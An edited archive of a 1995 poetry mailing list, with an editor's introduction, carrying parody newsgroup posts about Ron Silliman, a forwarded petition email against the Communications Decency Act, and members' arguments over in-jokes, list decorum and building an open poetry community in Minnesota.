The season's great quarrel is over close reading, provoked when Ron Silliman lets slip that *“I've been trashed for close reading”* before, as if the practice were a species of political embarrassment. Peter Quartermain, with the disarming innocence of a man who has taught for decades, asks the list to explain why close reading has become *“such a reprehensible practice,”* and volunteers that he is probably exposing his own ignorance. He is not; he has merely named the thing everyone had been circling, and the answers run on for a hundred messages, spilling into Chapbooks, Lost Classics, and a running gag about an *“alt.fan.silliman”* newsgroup that does not exist.

Alongside it, Steven Shoemaker poses the month's other keynote — *“what does, or should, poetry do?”* — and watches the list divide between those who want a poem to express feeling and those who suspect that the wanting is the whole trouble. He names the adversary precisely: the Hallmark verse and the poetry-as-therapy paradigm his students carry into the classroom already believing. The list, which distrusts sincerity on principle and pieties most of all, finds itself in the odd position of defending the bare possibility that a poem might mean something after all.

The academy hovers over both threads like weather. Lisa Samuels, writing as a dissertator who also writes poems, describes the campus suspicion that the creative act works a certain *“happifying effect”* on a serious mind, softening it for real labour — a diagnosis she delivers with the driest available irony. Jeffrey Timmons, refusing the word teach altogether, proposes shared inquiry in its place, while the ghost of Charles Olson, summoned in an apocryphal bookstore anecdote, presides over the entire discussion as the reigning myth of how a poet is supposed to come by what he knows. Tony Green talks more than anyone and settles the least, which is its own kind of contribution.

What holds the month together is precisely its refusal to let reading be simple. Under all the banter runs a real and unspoken fear — that to read a poem slowly, to take it at its word, is to be caught believing in it, and belief is the one posture this list has trained itself never to strike. Yet the close readers keep reading, closely, anyway. I have kept the arguments intact and resisted the editor's standing temptation to resolve them on the list's behalf; the list did not resolve them either, and that, reader, is very nearly the point of the enterprise.

— Kristen M. Fabians

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1. Carla Billitteri

*Re: W = A = R=Nblfght=I*nXQFT*g**

Wed 1 Mar 1995

W = A = R = N = I = N = G

A second Simulac spill has caused further
disturbance in the downtime/cyberspace
continuum. All messages dated Valentine's
Day should be boiled before drinking. If
verbal dithyrambs continue vomit drench pea
bucket and spoonfeed. Repost: rapini tic
mouse and barf the arrow. Dandy shift keys
download Soon-Yi, Previn commensurately.
Anti-Hemorhaging is projected bile radio.

DONUT RED TAPERS MATCH EDGES.

Rasta sure by hot shots part deux con carne.

↑ Index

2. Ron Silliman

alt.fan.silliman

Wed 1 Mar 1995

Sure do wish I had that kind of free time.

Love & kisses,

Ron
The Hegemony Project

↑ Index

3. sandra.braman

Even Shiva Does the Hokey Pokey

Wed 1 Mar 1995

EVEN SHIVA DOES THE HOKEY POKEY

And then went down to the ice cream parlour,
Set paddles to Pokey, girls & boys, a godly C, and
We set up housekeeping, and sail on a sweat shirt.
And thenwhen we wondered, where going, where sliding,
We tankard the emblem, fran ending, forfend.

Ah, for the life of it, ox carts, masks, coral....

↑ Index

4. Jorge Guitart

decency in communications act

Wed 1 Mar 1995

From: IN%"[redacted]" "Jorge Rogachevsky" 1-MAR-1995 10:30:27.09 To: IN%"[redacted]" "Jorge Guitart" CC: Subj: senate bill? (fwd)

id <[redacted]>; Wed,
01 Mar 1995 10:21:27 -0500 (EST)
id AA13815; Wed, 1 Mar 95 10:17:24 -0400
1 Mar 95 10:18:02 -0400
Date: Wed, 01 Mar 1995 10:18:01 -0400 (GMT-0400)
From: Jorge Rogachevsky <[redacted]>
Subject: senate bill? (fwd)
To: Jorge Guitart <[redacted]>

---------- Forwarded message ----------
Date: Tue, 28 Feb 95 12:35:00 PST
From: Archer, Jane <[redacted]>
To: "Rogachevsky, Jorge" <[redacted]>,
Polly Archer <[redacted]>,
"Kendall, Gillian" <[redacted]>,
Charlie Bernheimer <[redacted]>,
Ben <[redacted]>
Subject: senate bill? (fwd)

see way below.

FORWARDED FROM: Archer, Jane
FROM: Linchet, Dominique

TO: Everyone DATE: 02-28-95
TIME: 11:57
CC:
SUBJECT: senate bill? (fwd)
PRIORITY:
ATTACHMENTS:

Although these are not my words, I thought that the essence of this message might be of interest to all E-Mail and Internet users.

FORWARDED FROM: Linchet, Dominique

Date: Tue, 28 Feb 1995 08:06:32 -0500 (EST)
From: Lucia Binotti <[redacted]>
To: sol Miguel Prendes <[redacted]>, carmen peraita
<[redacted]>, Dominique Linchet <[redacted]>,
dianne brain <[redacted]>, Michael Mackert
<[redacted]>, jose miguel martinez torrejon
<[redacted]>, Ignacio Lopez Martinez <[redacted]>,
James Riely <[redacted]>, Enrico Binotti
<[redacted]>, jose maria tejedor <[redacted]>
Subject: senate bill? (fwd)
What anguish... The conservatism in this country is becoming
overwhelming. Kisses to you all

---------- Forwarded message ----------
Date: Mon, 27 Feb 1995 19:03:46 -0500 (EST)
From: Helen Hills <[redacted]>
To: lucia binotti <[redacted]>
Subject: senate bill? (fwd)

---------- Forwarded message ----------
Date: Mon, 27 Feb 1995 08:57:54 -0500 (EST)
From: Mike Savage <[redacted]>
To: [redacted]
Subject: senate bill? (fwd)

---------- Forwarded message ----------
Date: Sun, 26 Feb 1995 22:09:58 -0500
From: Rachel A Rosenfeld <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: senate bill?

********** Rachel A.
Rosenfeld fax: [redacted] Department of Sociology, CB#3210
email: [redacted] University of North Carolina office phone:
[redacted] Chapel Hill NC 27599
****

---------- Forwarded message ----------
Date: Fri, 24 Feb 95 12:18:28 -0600
From: Martin A. Reames <[redacted]>
To: Arty-Marty mailing list <[redacted]>
Subject: not humorous, but important

Hi.

This is not a normal artymarty mailing. I apologize for this email's non-humor nature, but it contains information that, in my opinion, needs to be disseminated as quickly as possible. I apologize for the length, but it's really that important, so please read it all! This is something that affects us all!

Currently 13,748 people have signed the petition to stop Senate Bill S. 314. We need more! Add your voice, it'll only take a minute.

**********Forwarded material********

Simply put, a couple of senators have proposed a particularly heinous piece of legislation titled the "Communications Decency Act of 1995" (Senate Bill S. 314). Basically, the bill would subject all forms of electronic communication -- from public Internet postings to your most private email -- to government censorship. The effects of the bill onto the online industry would be devastating -- most colleges and private companies (AOL, Compuserve, etc.) would probably have to shut down or greatly restrict access, since they would be held criminally liable for the postings and email of private users.

[for more information, see the www page:
http://www.phantom.com/~slowdog/]

The bill would compel service providers to choose between severely restricting the activities of their subscribers or completely shutting down their email, Internet access, and conferencing services under the threat of criminal liability. Moreover, service providers would be forced to closely monitor every private communication, electronic mail message, public forum, mailing list, and file archive carried by or available on their network, a proposition which poses a substantial threat to the freedom of speech and privacy rights of all American citizens.

Obviously, this bill is designed to win votes for these senators among those who are fearful of the internet and aren't big fans of freedom of speech -- ie., those who are always trying to censor "pornography" and dirty books and such. Given the political climate in this country, this bill might just pass unless the computer community demonstrates its strength as a committed political force to be reckoned with. This, my friends, is why I have filled your mailbox with this very long message.

A petition, to be sent to Congress, the President, and the media, has begun spreading through the Internet. It's easy to participate and be heard -- to sign it, you simply follow the instructions below -- which boil down to sending a quick email message to a certain address. That's all it takes to let your voice be heard.

Finally, PLEASE forward this message to all of your friends online. The more people who sign the petition, the more the government will get the message to

back off the online community. We've been doing fine without censorship until now -- let's show them we don't plan on allowing them to start now. If you value your freedoms -- from your right to publicly post a message on a worldwide forum to your right to receive private email without the government censoring it -- you need to take action NOW. It'll take two minutes at the most, a small sacrifice considering the issues at hand. Remember, the age of fighting for liberty with muskets and shells is most likely over; the time has come where the keyboard and the phone line will prove mightier than the sword -- or the Senate, in this case.

--

Here's what you have to do to sign the petition:

send an e-mail message to: [redacted] the message (NOT the subject heading) should read as follows: SIGNED <your online address> <your full name> <U.S. Citizen (y/n)> eg. SIGNED [redacted] Martin Reames YES

If you are interested in signing the petition, I would highly suggest investigating the details of the situation. You can find out more on the Web at http://www.phantom.com/~slowdog/

↑ Index

5. v386v5hx

Re: POETICS LIST B--in jokes (was: A LIST--outing

Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Lost Gazer)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Exploding Fibbonaci?!*
> *Date: Wed, 1 Mar 1995 00:25:10*
> *Organization: The Anti-Hegemony Project*
> *Lines: 6*
>
> *I would like to see the 'exploding fibonacci' myself.*
> *Who do I 'finger' so that I would see it on my screen? (e-mail addr.)*
>
> *(I understand that the term. setting should be set to VT100.)*
>
> *Thank u*

↑ Index

6. v386v5hx
POETICS LIST B: unsubscribe!
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Sheila Murphy-Brown)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: going somewhere?*
> *Date: 14 Feb 1999 18:18:18*
> *Organization: The Anti-Hegemony Project*
> *Lines: 7*
>
> *This message cam from a tightass in Buffalo, for those ofb you who aren't familiar with this school, all the students there are required to go for 1-2 years or so (I'm not sure on the # of years) to serve as missionairies in foreign countries, Tell this kid to stick to the John Taggart Fan Club.*
>
> *----------Sheila.*

↑ Index

7. v386v5hx
IN JOKES (was: poetics
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Georgous Gorge Bowdlerized)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: Nudes*
> *Date: 14 Feb 1999 06:06:06*
> *Organization: The Anti-Hegemony Project*
> *Lines: 14*
>
> *In article <??????????>, [redacted] (Billius Howe)*
> *wrote:*
>
> *Has anybody got some good looking nudes of silliman? If so could you e-mail*
> *them to me or post them here?*
>
> *Thanks in advance.*
> *Bill*
> *[redacted]*
>
> *I have some nudes of Silliman at my house which I took with my camera. I'm forced to hang on to them, though, because I know that someday they will be worth a lot of money.*

> *Georgous Gorge*

↑ Index

8. v386v5hx
TEST--DELETE FROM DIRECTORY (FWD)
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (The Guy Chair)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: Naropa Confirms Silliman*
> *Date: 14 Feb 1999 24:24:24*
> *Organization: The Anti-Hegemony Project*
> *Lines: 28*
>
> *Christopher Robin ([redacted]) wrote:*
>
> *: I heard from Nate Mackey that Anne Waldman and Allen Ginsberg of Naropa*
> *: have confirmed that Silliman has gotten the job and are pleased with the*
> *: decision.*
> *: This was odd because a few years ago, they considered Silliman too*
> *: hardcore to fit in their Buddhist playhouse.*
> *: Well, he's still hc, though nothing is signed as of yet, but AW and AG are*
> *: pleased with the decision -- and so am I.*
> *:*
> *: cr*
>
> *I am glad that Silliman got the gig; this is a perfect vehicle for him.*
> *He'll be great with the political kids. I just hope he doesn't fuck*
> *up the rest. I love Silliman, but I cringe whenever I hear that he is*
> *preparing another pronouncement, especially one where some sort of*
> *historical perspective is required. He's so smirky! And he loves to*
> *throw in some stupid fact to make himself sound like a big expert, even*
> *though his comments are totally superficial. I simply can't bring myself to*
> *read any of his essays (except some of the one-pagers, which are more like*
> *poems). He is way too self-conscious as a critic; it's as if he knows the*
> *whole world is holding its breath, waiting to see if he can successfully*
> *deliver a simple opinion without patting himself on the back. The fact that*
> *Naropa isn't a high-powered university makes me more confident that he can*
> *pull it off. But is he actually going to teach a class on meditation*
> *practice from a Frankfurt School perspective? Let's start praying now*
> *people.*
> *Later,*
> *Guy Chair*
>
> ---

```
Charlie          Bob         Ray         "The Tedlock"      Sukie

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                   (#######)
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                (#########)
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    WE'RE THE POETICS PROGRAM AMERICA -- DEAL WITH IT!!!!!

--------------------------------------------------------------------------------
```

↑ Index

9. v386v5hx
B LIST: "out" jokes
Wed 1 Mar 1995

Rating: PG13 <poetic guidance for readers over 13 suggested>
From: [redacted] (Katherine Morrow Lindberg)
Newsgroups: alt.fan.silliman
Subject: Re: going somewhere?
Date: 14 Feb 1999 19:19:19
Organization: The Anti-Hegemony Project
Lines: 13

and this person is asking for flames!

dont give it to him/her!

besides...who believe in 'good' buffalonians...

> **laugh**
> *KAT*
>
> /__/\
> | o o | "RRRRROOAAAAUUGHHH!! I'm working on my roar!" -Lion King
> __*_/

↑ Index

10. v386v5hx

Req: Silliman materials (was:

Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Nathan the Wiseguy)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Desperately seeking Silliman ...*
> *Date: 14 Feb 1999 06:06:06*
> *Organization: The Anti-Hegemony project*
> *Lines: 20*
>
> *Ok...back in '84 or '85 (when language poetry was only ten years old or so, whatever you consider to be the movement's origin), an Ohio fan club released among other things, a book called "The Silliman Issue" with a picture on the cover of Silliman smoking a cigar.*
>
> *I DESPERATELY want to get hold of this item. Is there anyone that can give me some clue/hint, etc. as to how I can purchase or swap for this item?????*
> *I would be eternally gratefull!!!!! THANKS.*
>
> *"Each duck was called Cause & Effect, and their progeny swim in the same pond today." David Bromige*
>
> *Happiness? to all,*
>
> *Nate*

↑ Index

11. v386v5hx
ALT.FAN.SILLIMAN: hey, this is condescending!!
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Cabrini Green)*
> *Newsgroups: alt.fan.silliman,rec.arts.lang_po*
> *Subject: Re: Naropa Confirms Silliman*
> *Date: 14 Feb 99 20:20:20*
> *Organization: The Anti-Hegemony Project*
> *Lines: 31*
>
> *In article <??????????>, [redacted] (The Guy*
> *|Chair) writes:*
>
> *Christopher Robin ([redacted]) wrote:*
>
> *: I heard from Nate Mackey that Anne Waldman and Allen Ginsberg of Naropa*
> *: have confirmed that Silliman has gotten the job [SNIP SNIP]*
>
> *I am glad that Silliman got the gig; this is a perfect vehicle for him.*
> *He'll be great with the political kids. I just hope he doesn't fuck*
> *up the rest. I love Silliman, but I cringe whenever I hear that he is*
> *preparing another pronouncement, especially one where some sort of*
> *historical perspective is required. He's so smirky! And he loves to*
> *throw in some stupid fact to make himself sound like a big expert, even*
> *though his comments are totally superficial. I simply can't bring myself to*
> *read any of his essays*
>
> *I think "New Sentence" will probably go down as his best performance. A lot of*
> *people say he's not good with detailed reading and therefore superficial but*
> *if you review his essays you see he actually gets TOO detailed. (This is of*
> *course ignoring his MLA thing but at MLA even the established*
> *critics are horrible) His last context *The Politics of Poetic Form**
> *is also pretty bad, HOWEVER, Silly is quite good in it and seems relaxed for*
> *once. I think a lot depends on his finding a topic where the relationship*
> *between overview and detail makes sense, like "New Sentence" or the piece on*
> *"Disappearance." When he's more abstract like in "Spicer's Language" or*
> *"Migratory Meaning" he's embarrassing, but that's what makes him a POET*
> *not a critic. Hey there's plenty of critics but only one Silly. Don't be*
> *so condescending*
>
> *Cabrini*

↑ Index

12. v386v5hx
Re: test -- ignore
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Clint)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: Silliman Fans*
> *Date: 14 Feb 1999 16:16:16*
> *Organization: The Anti-Hegemony Project*
> *Lines: 3*
>
> *Power to you! This forum is not meant for negative comments! People should form their own newsgroup if they would like to complain. This newsgroup is meant for exulting the god of poetry!*

↑ Index

13. Gary Sullivan
in-jokes, flames
Wed 1 Mar 1995

Susan, as someone who very much appreciates in-jokes, I hate to say this, but I agree with you; at least, when confronted with a barrage (12, I think) of them all at once. I thought the first "Ron" flame was funny, the second less so, and I just began deleting the things without reading 'em by the 4th or 5th. As Gerald Burns once cautioned me (I quote from memory): "You'll never learn anything until you realize that the quality of light in a room is the same thing as the life of the mind, or the soul." (He put it more eloquently than that.) As someone who reads & writes a lot of satire, I've always been aware of the inherent paradox: You may hit the object dead on, but the subject is always, ultimately, you. In the best (most "effective") satire, your audience is almost unaware of your presence, all attention being focused on the object. In cases of overkill (like the recent 12-part "Ron" flames), you're not only more aware of the author than you should be, you begin to sympathize with the object(s) of his/her satirical/parodic communication.

I don't want people to cease posting satire & parody: it's a perfectly valid (& sometimes efficient) means of getting across ideas & concerns. But be careful not to alienate what audience you do have.

Thanks,

Gary

↑ Index

14. **v386v5hx**
Re: test -- ignore
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted]'ALL.AHP (Ella Al)*
> *Subject: Re: Age of Huts: Best of/Rest of Silliman (early years)*
> *Organization: The Anti-Hegemony Project*
> *Date: 14 Feb 1999 07:07:07*
> *Lines: 15*
>
> *In article <???????????>, Mortified Botchup <[redacted]> wrote:*
> *Yall know you cant sell this piece of crap to anyone, unless your some*
> *sort of completist. Its just a marketing ploy by that Sherry guy. Dont*
> *waste your money buying this, it sucks.*
>
> *so let's hear from the completists. i think you suck.*
>
> *--elal*

↑ Index

15. **v386v5hx**
YOUR SUBJECT HEADING HERE
Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Pretty Giddy)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Silliman, Spicer, Ceravolo*
> *Date: 14 Feb 1999 10:10:10*
> *Organization: The Anti-Hegemony Project*
> *Lines: 12*
>
> *I have been a Jack Spicer and Joe Ceravolo collector for a few*
> *years, and was tickled when Silliman's JC fixation was publicized,*
> *whether true or not. I am interested in comments concerning*
> *why Spicer and Joe Ceravolo fans are into Silliman as well.*
> *Yeah, I know the pat answers...abstraction, pushing the limits,*
> *outsiders, etc. but am anxious to get the response of others. Please*
> *post responses.*
>
> *I love Silliman's poetry, attitude, etc...and only wish that I could*
> *have his intellect. Maybe I need to take up poststructuralism.*
>
> *- Thanks in advance, Pretty*

↑ Index

16. v386v5hx

AHP: claptrap (was: NON-AHP: trapclap

Wed 1 Mar 1995

> *Rating: PG13 <poetic guidance for readers over 13 is suggested>*
> *From: Juniper Moxie <[redacted]>*
> *Newsgroups: alt.fan.silliman*
> *Subject: SILLIMAN RULES!!! oh, and i'm new to this group!!*
> *Date: 14 Feb 1999 23:23:23*
> *Organization: The Anti-Hegemony Project*
> *Lines: 9*
>
> *hi!!!*
> *i'm June from Rhode Island. I edit a fanzine in Providence, and*
> *i just want to say or write that I have always loved Silliman's poetry*
> *and his attitude towards life.*
>
> *HE IS THE SHIT AS MY BOYFRIEND WOULD SAY, although he hates him.*
> *Does anyone know when and where silly will be reading?*
> *thanks.*
> *Juniper*
> [redacted]

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17. BLUOMA

AHP

Wed 1 Mar 1995

Subject: Time: 12:35 PM OFFICE MEMO AHP Date: 3/1/95 Having achieved the second level of funnel, the AHP is no longer accessible to us even through back channels. Employing a secret identity removal process, they jacked into the net some time ago. Mind you, they are not merely the binary replicating viruses that the humans call graffiti. They pinned the access server on the underside of the complex plane. Their consciousness has become vast. They are the AIs one encounters called Runt Packet, Multiple Ack, and Broadcast Storm. Yet naming them doesnUt help and they continue to worry us. But shouldnUt we be glad that the vast and fluid AIs think our group worthy of comment? They actually wish us well and want us to join them in the second level of funnel. The second level is achieved by realizing that identity is only unnatural. Now become the person in everyoneUs life.

-bologna

↑ Index

18. Gary Sullivan
Community/Influence
Wed 1 Mar 1995

Dear Charles, Chris, Sheila, Spencer & others:

I share Spencer's concerns, if not his negativity (which I appreciate nonetheless). Here: Minneapolis-St. Paul, there's the MONOLITH (The Loft, New Rivers, Graywolf, Holy Cow!, Milkweed, New Rivers, Coffee House Press) and then there's "everyone else." "Everyone else" does not constitute a community, and may never, though we might be better off if it did. What we have (partial list, and forgive how reductive this will be): Charles Alexander (Chax Press, and Exec. Dir. of the MN Center for Book Arts): Charles publishes and brings to MPLS-STPL mostly mid- or advanced-career poets, writers and bookmakers. His primary (which is not to say "only") "influence sphere" seems to be the language writers. Curt Anderson (_Exile_): Curt's interests are mostly classical; I couldn't tell you what his contemporary "influence sphere(s)" might be. Erik Belgum (starting up a cassette label which will "publish" sound/text pieces): Erik's "influence sphere" seems to be sound/text artists, mostly Canadians, such as The Four Horsemen. Jonathan Brannen (Standing Stones Press): Jonathan's primary "influence spheres" seem to be the "inland experimentalists" (U.S. & Canadian) and "exploratory" fiction writers past & present. Marta Deike (Detour Press): Marta's primary "I.S." seems to be innovative/feminist writers, such as Sarah Murphy, Kathy Acker, etc. Eliza Murphy (no vehicle): Eliza's "I.S." seems (based on reading very little of her work) to be early American and British women modernists, like Mina Loy. Mark Nowak (_furnitures_, North American Ideophonics): Mark's primary "I.S." seems to be a combination of sound/text artists and poets associated with ethno/spoken-poetics. Anthony Schlagel (no vehicle): Couldn't say what his "I.S." might be, though I think it's mostly classical and international. Gary Sullivan (Detour Press): My primary "I.S" would be the NY School and the unaffiliated/disenfranchised (Burns, Thorpe, Weiners).

There are others here, too. How do we all get together, despite our different interests? Might not our getting together and discovering common ground, as well as making discoveries through each other, be more valuable to us ultimately than if we remain fully devoted to our own special interests?

This, I think, is the crux of Spencer's argument. He seems to be suggesting a dialog as opposed to a number of (admittedly interesting) monologues. We're all interested in "open form" poetry, no? How about "open community"? Is that possible? Ed Foster's _Talisman_ seems to me one of the most successful

attempts at creating, if not an "open community," the next best thing, a fairly open magazine, "meeting place."

I'd like to see that happen here in Minnesota. Any ideas?

Yours,

Gary

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19. Robert A Harrison
ub list
Wed 1 Mar 1995

Could we please get the list back into a bit of order? I don't see any reason to bash Ron Silliman's or anybody else's character or work. I regret having made any comment to the effect that we shouldn't keep some restraint in dealing with this list.

This should be an e-space where people can safely and responsibly discuss poetry matters with one-up-manship kept to a minimum. Another place where a real sense of community can continue. Otherwise, it seems it will degenerate into something that most people will not be interested in dealing with.

Sincerely,

Bob Harrison

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20. Alan Golding
ub list
Wed 1 Mar 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Hear hear (or is it here, here?) to Bob Harrison's response to the recent slew of postings. I don't exactly object to what Bob calls the Silliman-bashing, but only because I'm not sure it's bashing--though I'm the one who can't read tone, remember, so Ron, you might feel differently. Are you being bashed? What I do object to is the sudden upsurge in the bullshit quotient. Can we at least consider an "In-Jokes and General Cutesiness" sub-list, to accommodate the folks who have all this free time on their hands to be anti-hegemonic or who want to continue the apparently endless flavors-of-New-Zealand-ice-cream thread?

Frankly I'm getting just about ready to check out and head on over to the New Formalism list.

Dyspeptically your-all's,

Alan

In Slinger, Dorn writes "Entrapment is this society's sole activity / And only laughter can blow it to rags." And Charles Bernstein, in an unpublished (I think) poem: "The shortest distance between transcendence and immanence is hilarity." Fer sure. But then those guys are actually funny.

↑ Index

21. Tony Green
Re: Community/Influence
Wed 1 Mar 1995

" and then there's "everyone else." "Everyone else" does not constitute a community, and may never, though we might be better off if it did. W"

"Gary Sullivan (Detour Press): My primary "I.S" would be the NY School and the unaffiliated/disenfranchised (Burns, Thorpe, Weiners)."

"There are others here, too. How do we all get together, despite our different interests? Might not our getting together and discovering common ground, as well as making discoveries through each other, be more valuable to us ultimately than if we remain fully devoted to our own special interests?

This, I think, is the crux of Spencer's argument."

Hi, Gary, Yup, there's a lot of us on the margins/fringes of Minneapolis via this List, but surprisingly close at hand, like in London (England) Auckland, Melbourne,and, so it seems, New York, San Francisco...e t c What exactly is the difference from being ON THE GROUND? anymore.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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22. Patrick Phillips
subtrafuge
Thu 2 Mar 1995

It appears that this list needs, not wants, a coherant amount of prattle. That the theory/truth dichotomy is not a dichotomy at all, but a revolving door that lets the social, the riff-raff in. It seems this need strikes at the heart (a prattlish metaphor) of the hinge that lets in and issues out. The thin membrane between theory and doctrine needs prattle in order to decipher, or to clarify that oscillation between love and chattle, acquaintance and stranger. I hate to appear to substantiate incoherent subtrafuge because in fact what I wish to lend credence to is coherent subtrafuge and applaud all those who relish (and undermine) the berm.

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23. Patrick Phillips
Re: subtrafuge
Thu 2 Mar 1995

I thought I might offer that I once climbed three stories above the street at Shattuck and University in Berkeley to "alter" a billboard above McDonald's. The billboard was advertising an Egg McMuffin and the caption was "Rise and Dine." After several Irish coffees at Brennan's (a local wursthouse cum irish pub with vietnamese cooks) a co-conspirator and I climbed the narrow ladder, he watched for cops and I spray painted "Wretch and Die" to my delight and we scurried down. (This kind of think can get you killed by vigilante's in LA.) It wasn't until a year or two later that a publication on "altered billboards" and general mayhem in the Bay Area came out that I realized that my double entendre was in fact a mis-spelling - much like subtrafuge.

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24. George Bowering
Re: ub list
Thu 2 Mar 1995

Strange, I am really glad to hear a bit of humour from time to time, and really glad to read the fake newspaper stuff from, I think, Albany. Before they showed up I was struck by the earnestness, the humorlessness of most of the talk, the (pardon me) self-imp[ortance. I was thinking: is this a U.S. characteristic of the poetry crowd these days?

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25. George Bowering
Re: Community/Influence
Thu 2 Mar 1995

I want to endorse Sullivan's recent plea for openness, for dialogue as opposed to monologs bashing each other. How many times have you had to go to some "function" and talk with a poet whose work you have always felt like denigrating, and found out that she was really fun to talk with, maybe even shared some feelings about things? You dont then have to like the person's poetryt, but you can still have commerce with that person, and really, is that worthless, a person? I really LIKE the Ny school poets, but that doesnt mean I am going to bang monologue up against a LangPo guy who canyt stand, say, Ron Padgett. Sorry if this sounds skewed: I have just come bacj from reading at a Freedom To Read Week "function" with some "other" types whom I enkoyed hearing.

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26. WILLIAM NORTHCUTT
Poetry Alive
Thu 2 Mar 1995

I'm surprised at the criticism directed at the Silliman flames. Well, not surprised. I agree that a lot of it is a waste of time to read, that a lot of the humorous listings here are a waste of time, but that's why we have delete mechanisms. But it also seems to me that this bullshit is a sign of a healthy discussion group as well--a bit of useless material, and there's a lot to be said about the usefulness of uselessness. Too, a lot of it seems not only tongue in cheek, but a tongue in a tongue in cheek. And do we kid ourselves that all of the "serious" material is really valuable? I do agree that the jokes are growing tired, or rather, I'm growing tired of them, even if they do show signs that poetry is alive, that it's being taken out of "serious" discussions and being bandied about. Let this group breath and stretch and scratch, produce overflow, useless, excretory overflow.

--william

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27. Jonathan Brannen
Re: Community/Influence
Thu 2 Mar 1995

Gary,

Any ideas for forming an "open community" here in Minnesota? For a start, you might discuss this idea with those people you list in your post. They actually live in Minnesota which seems relevant since you've chosen to define community as locale (not a concept that I feel entirely at home with). If you find this is too radical a notion, I'm sure Charles (Hi, to all three Charles! on this list), Chris (Hi, Chris! all four of you), Sheila (Hi, Sheila!), Spencer (Hi, Spencer!) and others (Hi, others! each of you, individuals that you are with, I hope, varied life-styles) could all provide wonderful ideas for "open communities" in Minnesota. Why not have a contest?

Why not have everyone SEND PROPOSALS FOR ***OPEN COMMUNITIES IN MINNESOTA*** TO GARY SULLIVAN, [redacted]! Maybe, the winner could be chosen randomly in a blind reading by the members of the Minnesota Project for Contemporary Language Arts (Hi again, Gary! Hi, Marta! Hi, Curt! oops, you're not on-line are you Curt?) and announced in a future issue of EXILE (Hi, Minnesota Project for Contemporary Language Arts!). How about a selection of miscellaneous e.g. Press chapbooks as the prize?

I, too, admire what Ed Foster is doing with TALISMAN. I attribute this to his editorial intelligence and his willingness to be open to various poetries rather than being governed by one narrow agenda of poetics.

I don't know what "inland experimentalists" are. But if it's among my "influence spheres" then it includes all the continents, not simply North America and it's not landlocked, though it's not an imaginary coast. I grew up on the coast of Florida, I understand the difference between passing waves and solid ground. As for Standing Stones Press, I publish chapbooks of work that I like, both poetry and fiction. The writers I've published live all over approach writing in various ways. They include Geof Huth, Sheila Murphy, Dennis Barone, Curt Anderson, Stephen-Paul Martin, Michelle Murphy, Peter Ganick, Cydney Chadwick and John Perlman. Titles by Gerald Burns and Tom Ahern are in the works. I'll be posting a catalog to the list in the near future.

Gary, I'm not sure which of Spencer's many well-stated arguments you're rallying in support of. If it's his notion that poetry is an art and that there is a discernable difference between art and theory, I agree. I also believe that poems can be the manifestations of theory and that poems can contain theories or anything else that finds its way into the work. Did I miss a posting from Spencer concerning the nature of dialog? The trick to successful dialog is to pay attention to one another's monologues rather than simply speaking to hear the sound of your on voice. Don't put words in my mouth and I'll listen while you speak.

Best of all to all,
Jonathan

On March 1 Gary Sullivan wrote:

Dear Charles, Chris, Sheila, Spencer & others:

I share Spencer's concerns, if not his negativity (which I appreciate nonetheless). Here: Minneapolis-St. Paul, there's the MONOLITH (The Loft, New Rivers, Graywolf, Holy Cow!, Milkweed, New Rivers, Coffee House Press) and then there's "everyone else." "Everyone else" does not constitute a community, and may never, though we might be better off if it did. What we have (partial list, and forgive how reductive this will be): Charles Alexander (Chax Press, and Exec. Dir. of the MN Center for Book Arts): Charles publishes and brings to MPLS-STPL mostly mid- or advanced-career poets, writers and bookmakers. His primary (which is not to say "only") "influence sphere" seems to be the language writers. Curt Anderson (_Exile_): Curt's interests are mostly classical; I couldn't tell you what his contemporary "influence sphere(s)" might be. Erik Belgum (starting up a cassette label which will "publish" sound/text pieces): Erik's "influence sphere" seems to be sound/text artists, mostly Canadians, such as The Four Horsemen. Jonathan Brannen (Standing Stones Press): Jonathan's primary "influence spheres" seem to be the "inland experimentalists" (U.S. & Canadian) and "exploratory" fiction writers past & present. Marta Deike (Detour Press): Marta's primary "I.S." seems to be innovative/feminist writers, such as Sarah Murphy, Kathy Acker, etc. Eliza Murphy (no vehicle): Eliza's "I.S." seems (based on reading very little of her work) to be early American and British women modernists, like Mina Loy. Mark Nowak (_furnitures_, North American Ideophonics): Mark's primary "I.S." seems to be a combination of sound/text artists and poets associated with ethno/spoken-poetics. Anthony Schlagel (no vehicle): Couldn't say what his "I.S." might be, though I think it's mostly classical and international. Gary Sullivan (Detour Press): My primary "I.S" would be the NY School and the unaffiliated/disenfranchised (Burns, Thorpe, Weiners).

There are others here, too. How do we all get together, despite our different interests? Might not our getting together and discovering common ground, as well as making discoveries through each other, be more valuable to us ultimately than if we remain fully devoted to our own special interests?

This, I think, is the crux of Spencer's argument. He seems to be suggesting a dialog as opposed to a number of (admittedly interesting) monologues. We're all interested in "open form" poetry, no? How about "open community"? Is that possible? Ed Foster's _Talisman_ seems to me one of the most successful attempts at creating, if not an "open community," the next best thing, a fairly open magazine, "meeting place."

I'd like to see that happen here in Minnesota. Any ideas?

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28. Jonathan Brannen
Re: Community/Influence
Thu 2 Mar 1995

